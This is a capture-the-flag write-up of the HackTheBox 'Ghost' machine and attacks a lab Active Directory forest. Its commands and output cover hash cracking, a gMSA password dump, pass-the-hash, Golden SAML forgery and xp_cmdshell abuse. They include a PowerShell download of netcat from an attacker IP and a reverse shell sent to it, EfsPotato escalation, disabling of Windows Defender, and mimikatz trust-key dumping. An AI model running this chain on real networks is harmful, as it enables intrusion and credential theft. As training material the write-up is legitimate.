We then attempt a Brute Force Password Cracking
with john
to crack this hash:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt justin_bradley_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Qwertyuiop1234$$ (justin.bradley)
1g 0:00:00:18 DONE (2024-10-06 01:55) 0.05265g/s 564035p/s 564035c/s 564035C/s R5TXer12..Queenruma
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
We have credentials: justin.bradley:Qwertyuiop1234$$
.
These credentials also work for SMB
and MSSQL
service, but we are not able to see anything we haven’t seen before. If we go back federation.ghost.htb
login page (the HTTPs
site running on port 8443
) and use these credentials we get a message:
It seems we are only allowed to log in as Administrator
user. We get the same message if we log in with our other found credentials. We will come, again, back to this site later.
We also check if these credentials work in WinRM
service:
❯ nxc winrm 10.10.11.24 -u 'justin.bradley' -p 'Qwertyuiop1234$$'
WINRM 10.10.11.24 5985 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:ghost.htb)
WINRM 10.10.11.24 5985 DC01 [+] ghost.htb\justin.bradley:Qwertyuiop1234$$ (Pwn3d!)
and they do.
We can log in the victim machine using evil-winrm
as this user:
❯ evil-winrm -u 'justin.bradley' -p 'Qwertyuiop1234$$' -i ghost.htb
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\justin.bradley\Documents>
We can get the user flag at justin.bradley
user.
NT Authority/System - Administrator Link to heading
We note that our current user is a member of IT
group:
*Evil-WinRM* PS C:\Users\justin.bradley\Documents> net user justin.bradley
User name justin.bradley
Full Name Justin Bradley
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 2/1/2024 3:48:11 PM
Password expires Never
Password changeable 2/2/2024 3:48:11 PM
Password required Yes
User may change password No
Workstations allowed All
Logon script
User profile
Home directory
Last logon 10/5/2024 10:02:55 PM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *Domain Users *IT
The command completed successfully.
Using bloodhound-python
to extract some info works. We also get an error message, but it’s not a fatal error; just a warning:
❯ bloodhound-python -c ALL -u 'justin.bradley' -p 'Qwertyuiop1234$$' -d ghost.htb -ns 10.10.11.24
INFO: Found AD domain: ghost.htb
INFO: Getting TGT for user
<SNIP>
WARNING: Could not resolve: linux-dev-ws01.ghost.htb: The DNS query name does not exist: linux-dev-ws01.ghost.htb.
INFO: Done in 00M 59S
linux-dev-ws01.ghost.htb
is probably the FQDN
for the container running Ghost CMS
; but (fortunately) it’s not important for the domain itself. So we are good to go.
After extracting the files we upload them to Bloodhound
, and search for justin.bradley
user. Going to Node Info
tab, and then to First Degree OBject
I note that this user has a right over other user:
justin.bradley
user has the right ReadGMSAPassword
over ADFS_GMSA$
user. Based on Bloodhound
help (about how to abuse this right), we get:
Group Managed Service Accounts are a special type of Active Directory object, where the password for that object is managed by and automatically changed by Domain Controllers on a set interval (check the MSDS-ManagedPasswordInterval attribute).
The intended use of a GMSA is to allow certain computer accounts to retrieve the password for the GMSA, then run local services as the GMSA. An attacker with control of an authorized principal may abuse that privilege to impersonate the GMSA.
We can then use GMSADumper
tool (that can be obtained from its Github repository). First, create a temporal Python
virtual environment (which I will name gmsa_env
) and install all the needed dependencies on that environment to run the tool:
❯ git clone https://github.com/micahvandeusen/gMSADumper.git
<SNIP>
❯ python3 -m venv gmsa_env
❯ source gmsa_env/bin/activate
❯ pip3 install -r requirements.txt
<SNIP>
Now, run it passing justin.bradley
credentials:
❯ python3 gMSADumper.py -u 'justin.bradley' -p 'Qwertyuiop1234$$' -d 'ghost.htb' -l 'dc01.ghost.htb'
Users or groups who can read password for adfs_gmsa$:
> DC01$
> justin.bradley
adfs_gmsa$:::4233c732e277554e44dbd82a890da314
adfs_gmsa$:aes256-cts-hmac-sha1-96:9113f810febea8804636a36dee3421edd523c89568f69006d0d622eb909dab5b
adfs_gmsa$:aes128-cts-hmac-sha1-96:0837c07388e02cd3da5b4fcaf6c84961
The first returned line for adfs_gmsa$
user returns an NT
hash for this user. We check if we can use this hash to attempt a Pass The Hash
with NetExec
tool:
❯ nxc smb 10.10.11.24 -u 'adfs_gmsa$' -H '4233c732e277554e44dbd82a890da314'
SMB 10.10.11.24 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.24 445 DC01 [+] ghost.htb\adfs_gmsa$:4233c732e277554e44dbd82a890da314
It worked.
We got access to adfs_gmsa$
account. ADFS
stays for Active Directory Federation Services
, which is used to extend the Active Directory
identity to cloud applications. Searching what could we do with this account we find this page explaining how to perform a Golden SAML Attack
(more info here). The page divides the attack in steps. We have already achieved Step 1
(get ADFS
user credentials), so I will skip that step. Looking Step 2
, we now need to access and export the needed information to forge the SAML
token. There, they say we should use ADFSDump
(that can be obtained from its Github repository). Nevertheless, the .exe
file is not compiled; so I will use this pre-compiled binary for ADFSDump.exe
. Based on Bloodhound
, adfs_fmsa$
has access through WinRM
, so let’s use this service to connect with this account and pass the pre-compiled binary:
❯ evil-winrm -i 10.10.11.24 -u 'adfs_gmsa$' -H '4233c732e277554e44dbd82a890da314'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> whoami
ghost\adfs_gmsa$
*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> upload ADFSDump.exe
Info: Uploading /home/gunzf0x/HTB/HTBMachines/Insane/Ghost/exploits/ADFSDump.exe to C:\Users\adfs_gmsa$\Documents\ADFSDump.exe
Data: 40276 bytes of 40276 bytes copied
Info: Upload successful!
Now, we execute ADFSDump.exe
:
*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> .\ADFSDump.exe
___ ____ ___________ ____
/ | / __ \/ ____/ ___// __ \__ ______ ___ ____
/ /| | / / / / /_ \__ \/ / / / / / / __ `__ \/ __ \
/ ___ |/ /_/ / __/ ___/ / /_/ / /_/ / / / / / / /_/ /
/_/ |_/_____/_/ /____/_____/\__,_/_/ /_/ /_/ .___/
/_/
Created by @doughsec
## Extracting Private Key from Active Directory Store
[-] Domain is ghost.htb
[-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7
[-] Private Key: 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1
## Reading Encrypted Signing Key from Database
[-] Encrypted Token Signing Key Begin
AAAAAQAAAAAEEAFyHlNXh2VDska8KMTxXboGCWCGSAFlAwQCAQYJYIZIA
<SNIP>
## Reading The Issuer Identifier
[-] Issuer Identifier: http://federation.ghost.htb/adfs/services/trust
[-] Detected AD FS 2019
[-] Uncharted territory! This might not work...
## Reading Relying Party Trust Information from Database
[-]
core.ghost.htb
==================
Enabled: True
Sign-In Protocol: SAML 2.0
Sign-In Endpoint: https://core.ghost.htb:8443/adfs/saml/postResponse
Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256
SamlResponseSignatureType: 1;
Identifier: https://core.ghost.htb:8443
Access Policy: <PolicyMetadata xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS">
<RequireFreshAuthentication>false</RequireFreshAuthentication>
<IssuanceAuthorizationRules>
<Rule>
<Conditions>
<Condition i:type="AlwaysCondition">
<Operator>IsPresent</Operator>
</Condition>
</Conditions>
</Rule>
</IssuanceAuthorizationRules>
</PolicyMetadata>
Access Policy Parameter:
Issuance Rules: @RuleTemplate = "LdapClaims"
@RuleName = "LdapClaims"
c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"]
=> issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn", "http://schemas.xmlsoap.org/claims/CommonName"), query = ";userPrincipalName,sAMAccountName;{0}", param = c.Value);
The page says we needs to save the DKM key
and TKS key
(Token Signed key
). The curious thing is that here we get 2 DKM key
(or Private Key
in the output). So I will save both DKM keys
into my attacker machine as DKMKey1.txt
and DKMKey2.txt
; and save the Token Signed key
as TKSKey.txt
:
❯ cat DKMKey1.txt
FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7
❯ cat DKMKey2.txt
8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1
❯ cat TKSKey.txt
AAAAAQAAAAA<SNIP>BN/BEsNEUSTXxm
Now, going to Step 3
of the page, TKS Key
needs to be base64
decoded; whereas DKMKey
needs to be converted to hexadecimal values:
❯ cat TKSKey.txt | base64 -d > TKSKey.bin
❯ cat DKMKey1.txt | tr -d "-" | xxd -r -p > DKMkey1.bin
❯ cat DKMKey2.txt | tr -d "-" | xxd -r -p > DKMkey2.bin
We can use then the tool ADFSpoof
(which can be downloaded from its Github repository) in our attacker machine to forge the Golden SAML
token. Now, the only thing that is “different” from the guide page than ours is that we do not want to request a ticket for Microsoft Office 365
(module o365
in ADFSpoof
), we want saml2
module for a “custom” SAML
response. So I attempt to craft a SAML
response based on this blog.
Additionally, from ADFSDump
output we can see that it tells us all the necessary stuff to run this attack:
- An endpoint (
https://core.ghost.htb:8443/adfs/saml/postResponse
) - A domain/server (
core.ghost.htb
) - And an Identifier (
https://core.ghost.htb:8443
).
Using the first Private Key obtained does not work:
❯ python3 ADFSpoof.py -b TKSKey.bin DKMkey1.bin --server 'core.ghost.htb' saml2 --endpoint 'https://core.ghost.htb:8443/adfs/saml/postResponse' --rpidentifier 'https://core.ghost.htb:8443' --nameidformat 'urn:oasis:names:tc:SAML:2.0:nameid-format:emailAddress' --nameid 'Administrator@ghost.htb' --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>Administrator@ghost.htb</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'
___ ____ ___________ ____
/ | / __ \/ ____/ ___/____ ____ ____ / __/
/ /| | / / / / /_ \__ \/ __ \/ __ \/ __ \/ /_
/ ___ |/ /_/ / __/ ___/ / /_/ / /_/ / /_/ / __/
/_/ |_/_____/_/ /____/ .___/\____/\____/_/
/_/
A tool to for AD FS security tokens
Created by @doughsec
Calculated MAC did not match anticipated MAC
Calculated MAC: b'pp\xcc\x9f\x07\x1e_\x99\xdc\xda3\xc1=t\xb8\xb7\xad\xc8\x8e\x95\x9c\xb1\x9a\x91\x00\x8a\x03L\\\x84\xe3\xb8'
Expected MAC: b'O\x83av\x7f\x00\xff\xcc= \xeb\nB\xcaT\xfc\xa2\xa7\xbcCz\xf0M\xfc\x11,4E\x12M|f'
But using the second one does:
❯ python3 ADFSpoof.py -b TKSKey.bin DKMkey2.bin --server 'core.ghost.htb' saml2 --endpoint 'https://core.ghost.htb:8443/adfs/saml/postResponse' --rpidentifier 'https://core.ghost.htb:8443' --nameidformat 'urn:oasis:names:tc:SAML:2.0:nameid-format:emailAddress' --nameid 'Administrator@ghost.htb' --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>Administrator@ghost.htb</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'
<SNIP>
ZXM6dGM6U0FNTDoyLjA6YWM6Y2xhc3NlczpQYXNzd29yZFByb3RlY3RlZFRyYW5zcG9ydDwvQXV0aG5Db250ZXh0Q2xhc3NSZWY%2BPC9BdXRobkNvbnRleHQ%2BPC9BdXRoblN0YXRlbWVudD48L0Fzc2VydGlvbj48L3NhbWxwOlJlc3BvbnNlPg%3D%3D
Now, note 2 things: this payload is urlencoded and, also, that it has a length of 6513
(just url decode the payload and count its chars with wc -c
). Then, go to https://core.ghost.htb
, start Burpsuite
and intercept the request sent when we reload the page (not when we click on the Federation
button). We do this since we want to send the request to https://core.ghost.htb:8443
site instead of federation.ghost.htb
site. We will modify this request to send a POST
request to the specified endpoint; also remember to specify the Content-Type
to x-www-form-urlencoded
and the content length to 6513
(the length of the urlencoded payload with ADFSpoof
):
POST /adfs/saml/postResponse HTTP/1.1
Host: core.ghost.htb:8443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Dnt: 1
Referer: https://core.ghost.htb:8443/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 6581
SAMLResponse=PHNhbWx<SNIP>nNlPg%3D%3D
Clicking on Forward
works. We bypass the login. Now we can see what is inside. We have what seems to be a MSSQL
panel:
Going straightforward, we can see 2 linked servers:
One named DC01
and another one named PRIMARY
.
We are currently at DC01
:
use_link
command is not available, so we have to use EXEC AT
command to execute commands in the server named PRIMARY
. For example:
EXEC ('SELECT @@SERVERNAME') AT [PRIMARY];
We will check if we can execute commands as sa
user at PRIMARY
server:
EXECUTE('EXECUTE AS LOGIN = ''sa''; EXEC SP_CONFIGURE ''show advanced options'', 1;reconfigure;EXEC SP_CONFIGURE ''xp_cmdshell'' , 1;reconfigure;exec xp_cmdshell ''whoami''') AT "PRIMARY"
We can.
Then, we upload a netcat
binary for Windows
to the target machine in one of the paths provided by UltimateAppLockerByPassList
(from its Github repository; which after some test I found that C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
path worked) and use PowerShell
to download it running:
EXECUTE('EXECUTE AS LOGIN = ''sa''; EXEC SP_CONFIGURE ''show advanced options'', 1;reconfigure;EXEC SP_CONFIGURE ''xp_cmdshell'' , 1;reconfigure;exec xp_cmdshell ''powershell -command Invoke-WebRequest -Uri http://10.10.16.3:8000/nc64.exe -Outfile C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\nc.exe''') AT "PRIMARY"
Start a listener with netcat
along with rlwrap
and invoke it:
EXECUTE('EXECUTE AS LOGIN = ''sa''; EXEC SP_CONFIGURE ''show advanced options'', 1;reconfigure;EXEC SP_CONFIGURE ''xp_cmdshell'' , 1;reconfigure;exec xp_cmdshell ''C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\nc.exe 10.10.16.3 443 -e cmd.exe''') AT "PRIMARY"
We get a shell as nt service\mssqlserver
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.24] 49816
Microsoft Windows [Version 10.0.20348.2582]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt service\mssqlserver
Checking rights for this user we have:
C:\Windows\system32>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
C:\Windows\system32>
We can see SeImpersonatePrivilege
is enabled.
After testing many tools, one of them worked: EfsPotato
(which can be downloaded from its Github repository). The machine has Microsoft .NET
available, so we can compile the .cs
file, after uploading it, into the target machine. We upload EfsPotato
file (.cs
file) to C:\Users\Public\Downloads
directory since I have some problems with Microsoft .NET
compiler and the path I have saved the files. Done this we use csc.exe
file to compile the .cs
file:
C:\Windows\system32>C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /out:C:\Users\Public\Downloads\EfsPotato.exe C:\Users\Public\Downloads\EfsPotato.cs -nowarn:1691,618
<SNIP>
C:\Windows\system32>dir C:\Users\Public\Downloads
dir C:\Users\Public\Downloads
Volume in drive C has no label.
Volume Serial Number is 161D-1BB7
Directory of C:\Users\Public\Downloads
10/07/2024 12:20 PM <DIR> .
01/30/2024 08:28 PM <DIR> ..
10/07/2024 12:19 PM 25,441 EfsPotato.cs
10/07/2024 12:20 PM 17,920 EfsPotato.exe
2 File(s) 43,361 bytes
2 Dir(s) 4,062,715,904 bytes free
Testing it, it works:
C:\Windows\system32>C:\Users\Public\Downloads\EfsPotato.exe "whoami"
C:\Users\Public\Downloads\EfsPotato.exe "whoami"
Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]
[+] Current user: NT Service\MSSQLSERVER
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=b8eaa0)
[+] Get Token: 880
[!] process with pid: 1360 created.
==============================
nt authority\system
We use again the uploaded netcat
binary we used previously to gain access with MSSQL
service to send us another reverse shell:
C:\Users\Public\Downloads>C:\Users\Public\Downloads\EfsPotato.exe "C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\nc.exe 10.10.16.3 443 -e cmd.exe"
Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]
[+] Current user: NT Service\MSSQLSERVER
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=a1e230)
[+] Get Token: 880
[!] process with pid: 2264 created.
==============================
And get a shell as nt authority/system
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.24] 49859
Microsoft Windows [Version 10.0.20348.2582]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
However, if we check Administrator
Desktop, the flag is not there. So we are not done yet:
C:\Windows\system32>dir C:\Users\Administrator\Desktop
dir C:\Users\Administrator\Desktop
Volume in drive C has no label.
Volume Serial Number is 161D-1BB7
Directory of C:\Users\Administrator\Desktop
07/10/2024 04:19 AM <DIR> .
07/03/2024 08:55 AM <DIR> ..
0 File(s) 0 bytes
2 Dir(s) 4,062,208,000 bytes free
This is because we are in a machine named PRIMARY
machine, not in DC01
:
C:\Windows\system32>ipconfig /all
ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : PRIMARY
Primary Dns Suffix . . . . . . . : corp.ghost.htb
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : corp.ghost.htb
ghost.htb
Ethernet adapter Ethernet:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Microsoft Hyper-V Network Adapter
Physical Address. . . . . . . . . : 00-15-5D-44-3C-01
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
IPv4 Address. . . . . . . . . . . : 10.0.0.10(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.0.0.254
DNS Servers . . . . . . . . . . . : 127.0.0.1
10.0.0.254
NetBIOS over Tcpip. . . . . . . . : Enabled
When I uploaded some binaries to exploit SeImpersonatePrivilege
privilege I noted that when I executed them they were eliminated from the source directory. We can check if an antivirus or Windows Defender
are running:
C:\Windows\system32>powershell -command "Get-MpComputerStatus | Select-Object AMServiceEnabled, RealTimeProtectionEnabled, AntispywareEnabled, AntivirusEnabled"
powershell -command "Get-MpComputerStatus | Select-Object AMServiceEnabled, RealTimeProtectionEnabled, AntispywareEnabled, AntivirusEnabled"
AMServiceEnabled RealTimeProtectionEnabled AntispywareEnabled AntivirusEnabled
---------------- ------------------------- ------------------ ----------------
True True True True
They are.
Since we are nt authority/system
in this machine, we can disable Windows Defender
changing from CMD
to a PowerShell
session and then execute:
C:\Windows\system32>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Windows\system32> Set-MpPreference -DisableRealtimeMonitoring $true
Uploading a script like adPEAS
(that can be downloaded from its Github repository), we can see that we are in primary.corp.ghost.htb
machine.
PS C:\Users\Public\Downloads> Import-Module .\adPEAS.ps1
Import-Module .\adPEAS.ps1
PS C:\Users\Public\Downloads> Invoke-adPEAS
<SNIP>
[+] Found domain controller of domain 'corp.ghost.htb':
DC Host Name: PRIMARY.corp.ghost.htb
DC Roles: PdcRole,RidRole,InfrastructureRole
DC IP Address: ::1
Site Name: Default-First-Site-Name
<SNIP>
We can check this with PowerShell
and nslookup
command as well:
PS C:\Users\Public\Downloads> nslookup primary.corp.ghost.htb
nslookup primary.corp.ghost.htb
Server: localhost
Address: 127.0.0.1
Name: primary.corp.ghost.htb
Address: 10.0.0.10
From Bloodhound
scan, and also from adPEAS
scan, we can see there is a DC01.ghost.htb
machine. We can check its address with nslookup
as well:
PS C:\Users\Public\Downloads> nslookup dc01.ghost.htb
nslookup dc01.ghost.htb
Non-authoritative answer:
Server: localhost
Address: 127.0.0.1
Name: dc01.ghost.htb
Addresses: 10.10.11.24
10.0.0.254
Note that PRIMARY
machine is at corp.ghost.htb
domain (known as child
) and DC01
is at ghost.htb
(main domain).
Basically, we are in an Active Directory
forest and we need to gain access to the DC01
machine. Since in this machine we have disabled AMSI (Windows Defender
), we can use some tools in the current machine to get some useful things of the domain. Upload PowerView.ps1
to the victim machine, import it and then check the trust relations:
PS C:\Users\Public\Downloads> Import-Module .\PowerView.ps1
Import-Module .\PowerView.ps1
PS C:\Users\Public\Downloads> Get-DomainTrust -NET
Get-DomainTrust -NET
SourceName TargetName TrustType TrustDirection
---------- ---------- --------- --------------
corp.ghost.htb ghost.htb ParentChild Bidirectional
or also:
PS C:\Users\Public\Downloads> Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"
Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"
SourceName : corp.ghost.htb
TargetName : ghost.htb
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection : Bidirectional
WhenCreated : 2/1/2024 2:33:33 AM
WhenChanged : 10/14/2024 2:52:29 AM
SourceName : ghost.htb
TargetName : corp.ghost.htb
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection : Bidirectional
WhenCreated : 2/1/2024 2:33:33 AM
WhenChanged : 2/1/2024 2:35:13 AM
We have a Bidirectional
trust. So, we should attempt a Trust Forest Attack
. This post by harmj0y gives an excellent explanation to it. I will also follow instructions from this page explaining how to requests tickets based on this “trust”.
We upload mimikatz
to the victim machine to get the SID
of CORP.GHOST.HTB
domain (or we could use Bloodhound
as well) running:
C:\Users\Public\Downloads>.\mimikatz.exe
.\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # lsadump::trust /patch
Current domain: CORP.GHOST.HTB (GHOST-CORP / S-1-5-21-2034262909-2733679486-179904498)
Domain: GHOST.HTB (GHOST / S-1-5-21-4084500788-938703357-3654145966)
[ In ] CORP.GHOST.HTB -> GHOST.HTB
* 10/13/2024 7:38:38 PM - CLEAR - 58 40 0f e6 53 5a 4f 77 ca 75 b5 74 62 23 d9 b4 ca 2d 77 ba 4f 13 67 71 fb 8e 01 e3 f3 8b 9c 05 aa ae 86 8a 5c 65 5d ff 0a 36 0e 53 13 6d 90 3e 9f df e1 52 6e b0 06 5f 28 01 c6 dc 84 16 d3 6f 38 8a b5 b4 aa d2 d7 c4 6e c6 35 49 bc 41 8c 1e 8e 24 22 a0 3b 74 0a 4d 34 eb 45 b8 c3 30 6f 2a 40 08 f0 5b ee 19 e2 ed ed b1 8a df bd d5 93 4f 20 fa 94 b1 30 f1 17 fb 04 43 99 a5 88 1d 05 48 da 72 25 79 7e 21 1d 5f 5b 06 3a 4e 17 e4 26 6b 5f 23 f0 f9 50 17 36 9f f5 92 75 da 79 88 6d 24 7d e8 23 96 db 9f 3b 2b f6 0f 16 7d 9d 0c 32 31 14 8d 1d 46 e3 4e c7 99 7d 07 cf 71 f8 9f 74 c2 b4 f9 42 c9 01 2d 75 a6 ba 36 a1 1f 8c 7e f6 85 88 89 bc a7 fa bf 3a 99 46 74 f7 78 8d 0f 95 4d 8e ea 55 52 b7 ec 8c f7 75 f0 75 18 78 57 1c d9
* aes256_hmac f22772408a7dc9200a603fbcfa204dc9c7ba75d7f1a250942a1a35df1417e02a
* aes128_hmac 03c3fc5d6267a2f76cbb6e03475a8b4d
* rc4_hmac_nt 4b04c5ac6cca84114f4e965d96ca2d38
[ Out ] GHOST.HTB -> CORP.GHOST.HTB
* 10/13/2024 7:52:29 PM - CLEAR - fd f0 a1 41 19 b2 8b f4 21 13 e1 66 04 f4 94 be e7 1b 91 f7 f7 45 87 11 3d 0a 93 6d 14 dc ad c7 4b 1c 22 e6 8b 60 cb 5a dc f4 fd 3a ed 29 b7 ee 40 eb 7a e3 af f0 72 36 62 d6 92 4e 39 98 72 13 5b b6 d3 2e 1b 77 9c c3 f0 d4 c6 9d 40 73 91 af e7 1b 32 16 d0 1b 95 54 7b 13 6d 53 29 b2 90 54 fd c2 d1 c4 84 d2 5f 44 da 58 70 67 50 88 b0 46 7a 85 92 57 b6 5d aa 59 19 73 0a dd 3f b3 f4 96 99 98 a4 b2 17 cf b6 5f f7 e0 95 57 32 00 4c 79 a2 ef 1b a3 b3 fb f8 4b 4c ac d0 e7 80 c0 d7 25 c5 2e ac 9f 2c b4 e6 07 66 2a fe e7 e8 1f 80 ca 6c 36 a4 07 e0 6e 6c 4d 3d 4b 77 58 74 20 e7 cf 01 ed c9 f7 4d 00 9d 6a 43 64 fa b5 3c 2e 64 be c4 e2 2a 01 be d1 60 e0 2d b2 16 6b cf 8e 11 23 b1 f7 12 fa 26 5a 8e 19 93 a3 b8 7e 88 ac d8 84
* aes256_hmac 682cceb0224c8ca35c5246ad35cc242e94e5e41d3a0cf2e45adcc4a1cd6e4b29
* aes128_hmac 683e4686edf7fbd33afca4e98e2a4925
* rc4_hmac_nt ec213e210bc8a69ff6d9d62c1518e057
[ In-1] CORP.GHOST.HTB -> GHOST.HTB
* 7/22/2024 9:21:26 AM - CLEAR - de 0b 64 63 58 9d ed e1 bc 36 c0 50 7c 4d 41 6d bd 82 72 e9 98 9b 13 58 b8 68 f1 94 8c ca 12 50 9b af 45 7d 0a 4d 4e 40 e2 7d 12 59 72 2f 87 22 64 c8 fa b2 96 8d aa c1 f1 17 a3 e7 aa 2b ec 87 b5 59 57 71 6f 33 87 4c e0 8a 8b 03 38 a2 71 b6 d5 0b 61 fd 7e 14 3e 46 16 d9 29 d8 f6 f9 05 69 3f b7 4f c1 28 0b 7e ec e5 46 ab 7e e8 2c 8b be 70 b5 d9 6c 96 1b fb 56 33 bc 41 15 b5 73 42 25 54 15 4b b6 fc 55 07 81 60 4a 6b 4c 22 a2 55 61 e5 91 e6 75 e3 62 d4 9a 37 77 bd 63 90 8e 6a 2a 2c c6 88 8f 57 44 7a 9e 35 aa e5 6a 2b 5f c8 0a 8c 4f cb bd af c9 60 59 ff 15 d9 fd cf 27 93 9f f7 19 9e 91 2b 38 d7 0e ec c9 43 e6 8c 3b 60 02 5f b7 c3 c1 67 c2 6b 44 db 1f 9c f7 72 2f 3a 54 6e 62 02 c9 46 d1 b7 3d 26 54 d0 4f 35 65 a8 3f
* aes256_hmac de2e49c70945c0cb0dec99c93587de84f0b048843b8e295c6da720ba85545ffe
* aes128_hmac b55ca148bc95f95b8cb72f67661e1a08
* rc4_hmac_nt 0b0124f5d6c07ad530d6bf6a6404fdaa
[Out-1] GHOST.HTB -> CORP.GHOST.HTB
